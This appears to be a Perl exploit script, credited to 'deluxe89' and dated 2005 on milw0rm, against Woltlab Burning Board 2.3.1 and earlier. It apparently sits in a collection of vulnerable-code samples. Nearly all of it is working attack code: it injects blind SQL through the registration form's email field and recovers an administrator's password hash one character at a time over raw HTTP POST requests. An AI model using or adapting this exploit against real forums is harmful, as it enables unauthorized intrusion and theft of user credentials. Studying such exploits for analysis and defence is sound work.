lilbool/vuln-code-analysis
0
1#!/usr/bin/perl
2
3use strict;
4use IO::Socket::INET;
5
6
7$| = print "
8Woltlab Burning Board <= 2.3.1 Exploit
9Vulnerability discovered by GulfTech Security Research
10Visit www.security-project.org
11Exploit by deluxe89
12----------
13";
14
15
16
17my $host = 'www.security-project.org';
18my $path = '/wbb2/'; # path to the board
19my $userid = 1; # the password hash will be from the user with this id
20my $username = 'deluxe89'; # any username from the board
21my $proxy = ''; # proxy, you can leave this empty
22my $error = 'E-Mail-Adresse ist unzulässig'; # use 'email address entered is already ta' for english boards
23
24
25# proxy handling
26my ($addr, $port) = ($proxy ne '') ? split(/:/, $proxy) : ($host, 80);
27if($proxy ne '')
28{
29 print "[~] Using a proxy\n";
30}
31else
32{
33 print "[~] You're using NO proxy!\n";
34 sleep(1);
35}
36
37
38
39
40
41#
42# Get the hash
43#
44
45print "[~] Getting the hash. Please wait some minutes..\n[+] Hash: ";
46
47
48my $hash = '';
49for(my $i=1;$i<33;$i++)
50{
51 my $sock = new IO::Socket::INET(PeerAddr => $addr, PeerPort => $port, Proto => 'tcp', Timeout => 8) or die('[-] Could not connect to server');
52
53 if(&test($i, 96)) # buchstabe
54 {
55 for(my $c=97;$c<103;$c++)
56 {
57 if(&test($i, $c, 1))
58 {
59 print pack('c', $c);
60 last;
61 }
62 }
63 }
64 else # zahl
65 {
66 #print "0-4\n";
67 for(my $c=48;$c<58;$c++)
68 {
69 if(&test($i, $c, 1))
70 {
71 print pack('c', $c);
72 last;
73 }
74 }
75 }
76}
77print "\n";
78
79
80sub test
81{
82 my ($i, $num, $g) = @_;
83
84 my $sock = new IO::Socket::INET(PeerAddr => $addr, PeerPort => $port, Proto => 'tcp', Timeout => 8) or die('Could not connect to server');
85 my $value = "sre4sdffr\@4g54asd5.org' OR (userid=$userid AND ascii(substring(password,$i,1))";
86 $value .= ($g) ? '=' : '>';
87 $value .= "$num)/*";
88 my $data = "r_username=$username&r_email=$value&r_password=aaaaaaaa&r_confirmpassword=aaaaaaaa&r_homepage=&r_icq=&r_aim=&r_yim=&r_msn=&r_day=0&r_month=0&r_year=&r_gender=0&r_signature=&r_usertext=&field%5B1%5D=&field%5B2%5D=&field%5B3%5D=&r_invisible=0&r_usecookies=1&r_admincanemail=1&r_showemail=1&r_usercanemail=1&r_emailnotify=0&r_notificationperpm=0&r_receivepm=1&r_emailonpm=0&r_pmpopup=0&r_showsignatures=1&r_showavatars=1&r_showimages=1&r_daysprune=0&r_umaxposts=0&r_threadview=0&r_dateformat=d.m.Y&r_timeformat=H%3Ai&r_startweek=1&r_timezoneoffset=1&r_usewysiwyg=0&r_styleid=0&r_langid=0&send=send&sid=&disclaimer=viewed";
89
90 print $sock "POST http://$host${path}register.php HTTP/1.1\r\nHost: $host\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".length($data)."\r\n\r\n$data\r\n";
91
92
93 while(<$sock>)
94 {
95 if($_ =~ m/$error/) { return 1; }
96 }
97 return 0;
98}
99
100# milw0rm.com [2005-05-20]